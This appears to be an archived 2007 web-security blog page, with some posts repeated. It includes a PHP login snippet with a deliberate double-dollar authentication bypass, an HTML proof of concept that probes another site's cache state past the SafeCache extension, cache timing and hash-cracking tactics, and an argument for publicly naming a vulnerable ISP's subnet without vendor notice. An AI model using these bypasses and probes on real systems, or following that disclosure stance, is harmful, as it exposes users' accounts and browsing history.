Because all it does is spread the FUD. If cd-man had bothered reading the post carefully he would have noticed that all I did was run an nmap scan to determine how many of the hosts were running telnet in that subnet. I think the number is higher than 14716 though, because my wireless network is dodgy and prone to giving out halfway through something, and considering that that scan took hours (unattended), I wouldn't be surprised if it had missed whole chunks.
Oh and he also says:
I have no real argument her, but I see nothing interesting in someone posting that some ISP somewhere has used the same remote admin password on all its routers. But that's not exactly something we can argue about, since that's just like arguing which tv show is better.
- I don't care how unethical disclosure is; if it interests me, and possibly others I'll post it.
- I have no responsibility to give a vendor who has written insecure software time to fix their flaws - they've had time ever since they started writing it.
- I also have no responsibility to contact them about any issues either.
- I have no need to justify my position to anyone, and it won't change unless I get paid for it to change.
Anyway; Sid wrote a post on blogs.securiteam.com about how an ISP had backdoored its customers routers to make administration easier, entitled Accidental backdoor by ISP, which generated a bit of heat from some people, especially Cd-MaN.
He goes on about how Sid's post was unethical because didn't help anyone by mentioning which ISP it was, and saying which subnet they owned and what the passwords were, other than people who would want to attack the ISP.
Now, arguing on in cd-man's terms, there are people it helps. It helps anyone who wants to do some further investigation of the issue. It helps anyone who has an account with that ISP to secure themselves; I see no reason why it has to be disclosed in such a way that it would reach the majority of affected users, its not our responsibility to fix other people's mistakes; and never should be.
It also helps raise awareness of an issue which hasn't got much (if any) air time before. Because if you read any of the SpeedTouch manuals you will notice that they have a default remote administrator account, which most users never know about. Furthermore I'm willing to bet on the fact that most ISPs who use SpeedTouch routers will all have the same remote admin passwords.
And it really doesn't help anyone to say thing like (http://hype-free.blogspot.com/2007/02/full-disclosure-gone-bad.html)
But this recent post on security team screams of the "I'm 1337, I can use nmap, I rooted 14716 computers" sentiment.
Because all it does is spread the FUD. If cd-man had bothered reading the post carefully he would have noticed that all I did was run an nmap scan to determine how many of the hosts were running telnet in that subnet. I think the number is higher than 14716 though, because my wireless network is dodgy and prone to giving out halfway through something, and considering that that scan took hours (unattended), I wouldn't be surprised if it had missed whole chunks.
Oh and he also says:
How does disclosing this flaw with such detail (like subnet addresses and the ISP name) help anyone? The story would have been just as interesting would he left those details out.
I have no real argument her, but I see nothing interesting in someone posting that some ISP somewhere has used the same remote admin password on all its routers. But that's not exactly something we can argue about, since that's just like arguing which tv show is better.
Labels:
General Security,
Security (All)
Tuesday, February 20, 2007
Gotcha!: A PHP Oddity (with contrived security implications)
A while ago, I was look over some code a friend of mine (who doesn't write much PHP) had written, which 'worked', but really shouldn't have.
It looked something like this:
And if you know PHP, you'll know that strpos always returns an integer or Boolean false (i.e. it should never return a string), so how the hell could this work?
Well, skipping my usual anecdote; it turns out that PHP casts string to integers when doing comparisons between strings and integers (not the other way around as I would have expected), and so "needle" got cast to an integer, and it was equal to 0. (And since strpos was returning 0 the above code worked).
<Edit> (21/02/07): I realise that there should never be a double dollar vulnerability anywhere in your code, but mistakes are made, this is just what I thought was a curiosity which would interest people; clearly I was wrong. Also, while this uses a double dollar vuln, it is the only way I could come up with to get a string to be compared to an integer (rather than a decimal string) you control.
</Edit>
Now, for the very contrived security issue:
You'll see the code above has a double dollar vulnerability; which would be unexploitable in this scenario because the password string is not stored in a variable; but rather is hard coded. But since; at this point, the variable $authenticated is equal to zero, we can have $_GET['password'] equal to "authenticated", and $$_GET['password'] is equal to zero, and the comparison works.
Note: The double dollar vuln is needed rather than just passing 0 to a normal comparison because all variables sent through http are strings.
Note2: It doesn't matter in what order the arguments are typed in the comparison, i.e. the following would also be vulnerable:
It looked something like this:
if (strpos ($string, "needle") == "needle") {
print "Is Valid";
}And if you know PHP, you'll know that strpos always returns an integer or Boolean false (i.e. it should never return a string), so how the hell could this work?
Well, skipping my usual anecdote; it turns out that PHP casts string to integers when doing comparisons between strings and integers (not the other way around as I would have expected), and so "needle" got cast to an integer, and it was equal to 0. (And since strpos was returning 0 the above code worked).
<Edit> (21/02/07): I realise that there should never be a double dollar vulnerability anywhere in your code, but mistakes are made, this is just what I thought was a curiosity which would interest people; clearly I was wrong. Also, while this uses a double dollar vuln, it is the only way I could come up with to get a string to be compared to an integer (rather than a decimal string) you control.
</Edit>
Now, for the very contrived security issue:
<?php
$authenticated = 0;
session_start();
if (isset($_SESSION['password'])) {
if ($_SESSION['password'] == "password removed from backup") {
$authenticated = 1;
}
} elseif (isset ($_GET['password'])) {
if ($$_GET['password'] == "password removed from backup") {
$authenticated = 1;
}
}
if ($authenticated == 1) {
print "You Win!";
} else {
print "You Fail!";
}
?>You'll see the code above has a double dollar vulnerability; which would be unexploitable in this scenario because the password string is not stored in a variable; but rather is hard coded. But since; at this point, the variable $authenticated is equal to zero, we can have $_GET['password'] equal to "authenticated", and $$_GET['password'] is equal to zero, and the comparison works.
Note: The double dollar vuln is needed rather than just passing 0 to a normal comparison because all variables sent through http are strings.
Note2: It doesn't matter in what order the arguments are typed in the comparison, i.e. the following would also be vulnerable:
if ("password removed from backup" == $$_GET['password']) {
Labels:
PHP,
Security (All),
Web App Sec
Monday, February 19, 2007
You call that a game? This is a......
Firstly; sorry for the lack of updates, I've really been too busy to come up with anything interesting to write, and haven't found anything particularly interesting to write about.
Now, onto the bad title. I found the following "game" on digg: http://crackquest.ultramuffin.com/index.php and decided to see exactly how effective the sha-1 rainbowtables I had found were.
Now, the first thing I tried was using http://www.shalookup.com/ since you can crack up to 50 hashes at a time (50 because that is the limit per IP). So I ran the list of hashes against shalookup.com (using a proxy for the second 50) and got quite good results; I think that at least 50 (I wasn't counting) of the hashes I cracked came from shalookup.com.
After this I ran the remaining hashes against http://www.hashreverse.com/ and http://md5.rednoize.com/ and was able to crack a further 20 hashes.
I tried running the remaining 30 against http://www.md5encryption.com/, but got no results (which doesn't really say anything since the only ones left were the ones no-one else could get), and I got interrupted while running the hashes against http://hashcrack.905tech.com/cracker.php, which during the time I was away went down, and I don't have an account on http://rainbowcrack.com/ (if anyone does, I'd really appreciate it if you got in contact with me), and http://passcrack.spb.ru/ seems to be down for maintenance.
So while this little anecdote can't testify to the usefulness of any single site (other than shalookup.com), it clearly illustrates that it doesn't matter what hashing algorithm you use if you do not salt the data first, and your users use poor passwords. But we already knew that, so *shrug*.
Now, onto the bad title. I found the following "game" on digg: http://crackquest.ultramuffin.com/index.php and decided to see exactly how effective the sha-1 rainbowtables I had found were.
Now, the first thing I tried was using http://www.shalookup.com/ since you can crack up to 50 hashes at a time (50 because that is the limit per IP). So I ran the list of hashes against shalookup.com (using a proxy for the second 50) and got quite good results; I think that at least 50 (I wasn't counting) of the hashes I cracked came from shalookup.com.
After this I ran the remaining hashes against http://www.hashreverse.com/ and http://md5.rednoize.com/ and was able to crack a further 20 hashes.
I tried running the remaining 30 against http://www.md5encryption.com/, but got no results (which doesn't really say anything since the only ones left were the ones no-one else could get), and I got interrupted while running the hashes against http://hashcrack.905tech.com/cracker.php, which during the time I was away went down, and I don't have an account on http://rainbowcrack.com/ (if anyone does, I'd really appreciate it if you got in contact with me), and http://passcrack.spb.ru/ seems to be down for maintenance.
So while this little anecdote can't testify to the usefulness of any single site (other than shalookup.com), it clearly illustrates that it doesn't matter what hashing algorithm you use if you do not salt the data first, and your users use poor passwords. But we already knew that, so *shrug*.
Tuesday, February 13, 2007
Attacking Aspect Security's PDF UXSS Filter
While this is not really much of an issue any more because Adobe have released and update and there isn't really much to say, I'd like to revisit it for a momment.
There were a lot of people (myself included) who had considered the PDF UXSS issue unsolvable at the server-side level; how wrong we were: http://www.owasp.org/index.php/PDF_Attack_Filter_for_Java_EE
I have no real analysis of it because, as far as I can tell, its bullet proof. or at least it would be if browser security didn't have fist-size holes in it. From a black box perspective where there is no information leakage; that fix is great.
But sadly, there are ways to simply obtain the data. Using an Anti-DNS Pinning attack, it should not be a problem to simply send a request to that IP with the appropriate Host header, etc, and then parse out the link and simply redirect the user. I'm not going to bother providing any code, because there's really nothing new here, just another misfortune.
So a very good idea, is practically useless, simply because the rest of our security model is shot to bits.
There were a lot of people (myself included) who had considered the PDF UXSS issue unsolvable at the server-side level; how wrong we were: http://www.owasp.org/index.php/PDF_Attack_Filter_for_Java_EE
I have no real analysis of it because, as far as I can tell, its bullet proof. or at least it would be if browser security didn't have fist-size holes in it. From a black box perspective where there is no information leakage; that fix is great.
But sadly, there are ways to simply obtain the data. Using an Anti-DNS Pinning attack, it should not be a problem to simply send a request to that IP with the appropriate Host header, etc, and then parse out the link and simply redirect the user. I'm not going to bother providing any code, because there's really nothing new here, just another misfortune.
So a very good idea, is practically useless, simply because the rest of our security model is shot to bits.
Labels:
Security (All),
Web App Sec,
XSS
A Better Web Cache Timing Attack
I've been thinking on whether I should bother writing an actual paper on this or not, but when I found that Princeton had already written a pretty decent paper on Web Cache timing attacks back in 2000, which you can find here: http://www.cs.princeton.edu/sip/pub/webtiming.pdf I decided against it.
If you read the paper you will see that the attack relies on the user of two images to determine if the images are cached by determining if there is a dramatic change in loading times between getting the timing for one image, then loading a page which caches both images, and then getting the timing for the second image. If there is a significant difference, then then the first image had not been cached, and they had therefore not visited the page; whereas if there was no significant difference then the image was already cached, and therefore the page had been viewed before.
Now, this suffers from the fact that you do actually need two images which are ONLY displayed together, because otherwise your results will be erroneous, and not only that; but it requires that the images are approximately the same size so that your inferences about cache state are accurate.
A much better solution is to be able to determine the time it takes to retrieve a cached and non-cached version of an image by supplying request parameters, e.g. http://www.example.com/image?test=123456
The first thing we do is generate a random request string, and make a request for that image, and we now have the approximate time it should take to get the image when it is not cached, and we then make a second request to see how long the image takes to load when it is cached, and by generating a large amount of query strings to test we can get more accurate amounts.
We then make a request for the image without any request parameters and see which averaged value it is closer to, and then determine cache state.
This benefits from the fact that not only does there only need to be one image, and we can therefore find a page with a large photo or similar to give us a greater margin for error, but we also do not need to find a page with two images of equal size because we will always be making requests for the same size image.
Sadly not quite as effective as the attack against the SafeCache extension, but that's why its a timing attack I guess, :)
If you read the paper you will see that the attack relies on the user of two images to determine if the images are cached by determining if there is a dramatic change in loading times between getting the timing for one image, then loading a page which caches both images, and then getting the timing for the second image. If there is a significant difference, then then the first image had not been cached, and they had therefore not visited the page; whereas if there was no significant difference then the image was already cached, and therefore the page had been viewed before.
Now, this suffers from the fact that you do actually need two images which are ONLY displayed together, because otherwise your results will be erroneous, and not only that; but it requires that the images are approximately the same size so that your inferences about cache state are accurate.
A much better solution is to be able to determine the time it takes to retrieve a cached and non-cached version of an image by supplying request parameters, e.g. http://www.example.com/image?test=123456
The first thing we do is generate a random request string, and make a request for that image, and we now have the approximate time it should take to get the image when it is not cached, and we then make a second request to see how long the image takes to load when it is cached, and by generating a large amount of query strings to test we can get more accurate amounts.
We then make a request for the image without any request parameters and see which averaged value it is closer to, and then determine cache state.
This benefits from the fact that not only does there only need to be one image, and we can therefore find a page with a large photo or similar to give us a greater margin for error, but we also do not need to find a page with two images of equal size because we will always be making requests for the same size image.
Sadly not quite as effective as the attack against the SafeCache extension, but that's why its a timing attack I guess, :)
Labels:
Detection,
Security (All),
Web App Sec
Saturday, February 10, 2007
Attacking the SafeCache Firefox Extension
Well, SudoLabs got taken down since almost no-one was using it, so now troopa is using the domain for his blog, so I'm moving all my content here:
The SafeCache extension is yet another good idea in browser security to come out of Stanford University. Essentially it extends the browser same origin policy to the browser cache to defend against cache timing attacks. You can find more info about it here: http://www.safecache.com/
Now while I have not looked at the source code to the extension, I have devised a method for not only being able to perform timing attacks, but to be able to directly determine whether or not the objects you are trying to find info about are in the cache or not.
It seems that if you create an iframe element where the src attribute points to the resource whose cache state you want to query, then the onload event will fire only if the item is not in any cache.
To test this either login to Gmail, or go to http://mail.google.com/mail/help/images/logo.gif and then create a page like the following:
And you will notice that the onload element does not fire. Then if you press Ctrl+Shift+Del and delete the cache, then visit the html page you just created again, the onload event will fire.
If you refresh the page, the onload event will not fire a second time because the image is already in the cache.
So while it stops standard cache timing attacks, it does not stop attacks against itself.
The SafeCache extension is yet another good idea in browser security to come out of Stanford University. Essentially it extends the browser same origin policy to the browser cache to defend against cache timing attacks. You can find more info about it here: http://www.safecache.com/
Now while I have not looked at the source code to the extension, I have devised a method for not only being able to perform timing attacks, but to be able to directly determine whether or not the objects you are trying to find info about are in the cache or not.
It seems that if you create an iframe element where the src attribute points to the resource whose cache state you want to query, then the onload event will fire only if the item is not in any cache.
To test this either login to Gmail, or go to http://mail.google.com/mail/help/images/logo.gif and then create a page like the following:
<html>
<body>
<script>
function loaded() {
var time = new Date();
var t2 = time.getTime();
alert(t2- t1);
}
var time = new Date();
var t1 = time.getTime();
</script>
<iframe src="http://mail.google.com/mail/help/images/logo.gif" onload="loaded()">
</iframe>
</body>
</html>And you will notice that the onload element does not fire. Then if you press Ctrl+Shift+Del and delete the cache, then visit the html page you just created again, the onload event will fire.
If you refresh the page, the onload event will not fire a second time because the image is already in the cache.
So while it stops standard cache timing attacks, it does not stop attacks against itself.
Labels:
Detection,
Extension Hacking,
Firefox,
Security (All),
Web App Sec
Anatomy of a Worm by Kyran
From http://kyran.wordpress.com/2007/02/10/paper-anatomy-of-a-worm/:
Its an interesting paper that details what he has coined a "Pseudo-Reflective" Worm, in that while it uses a reflected XSS vector, it uses a persistent on(in?)-site spreading mechanism - in this case the PM system.
It’s about the worm I wrote targeting GaiaOnline.com, aptly named ”gaiaworm”. This is the third version of the worm and the first time I’ve ever really written a paper.
Its an interesting paper that details what he has coined a "Pseudo-Reflective" Worm, in that while it uses a reflected XSS vector, it uses a persistent on(in?)-site spreading mechanism - in this case the PM system.
Labels:
Security (All),
Web App Sec,
XSS
Solving Password Brute Force And Lockout Issues
Locking users out of sites by exhausting a limited number of login attempts has always been a pet peeve of mine (not only because you can sometimes forget which particular password you used; but also because it becomes quite easy to perform a DoS attack against someone's account simply by locking them out via failed login attempts) that I thought most websites had done away with, not so Sudo Labs it seems. Now, I'm not about to take responsibility for this since it isn't our code base, and we didn't even think that it would be set up this way, but when I was talking to Kyran I found out that (much to our chagrin), he had gotten locked out.
Which got me thinking; why can't we have an over-ride code to allow people to login even when their account is being attacked. As I see it there's no reason we can't, we can even re-use existing code to achieve it.
These days when you want to sign up for most sites you get sent an email with an activation code/link which you have to use so that your account is activated, and we know you own the account.
Now, if we were to use the current lockout system, but give users an option to request a special login code, we would be able to leave the normal functionality working most of the time (except for when the user's account is being DoS-ed), but when they are being attacked they would not be locked out because they can easily just request a login code, and use it to bypass the lockout. Of course, this cannot be used by email vendors, who are already the crux of most of our identification, so its not much of an extra burden.
Which got me thinking; why can't we have an over-ride code to allow people to login even when their account is being attacked. As I see it there's no reason we can't, we can even re-use existing code to achieve it.
These days when you want to sign up for most sites you get sent an email with an activation code/link which you have to use so that your account is activated, and we know you own the account.
Now, if we were to use the current lockout system, but give users an option to request a special login code, we would be able to leave the normal functionality working most of the time (except for when the user's account is being DoS-ed), but when they are being attacked they would not be locked out because they can easily just request a login code, and use it to bypass the lockout. Of course, this cannot be used by email vendors, who are already the crux of most of our identification, so its not much of an extra burden.
Subscribe to:
Posts (Atom)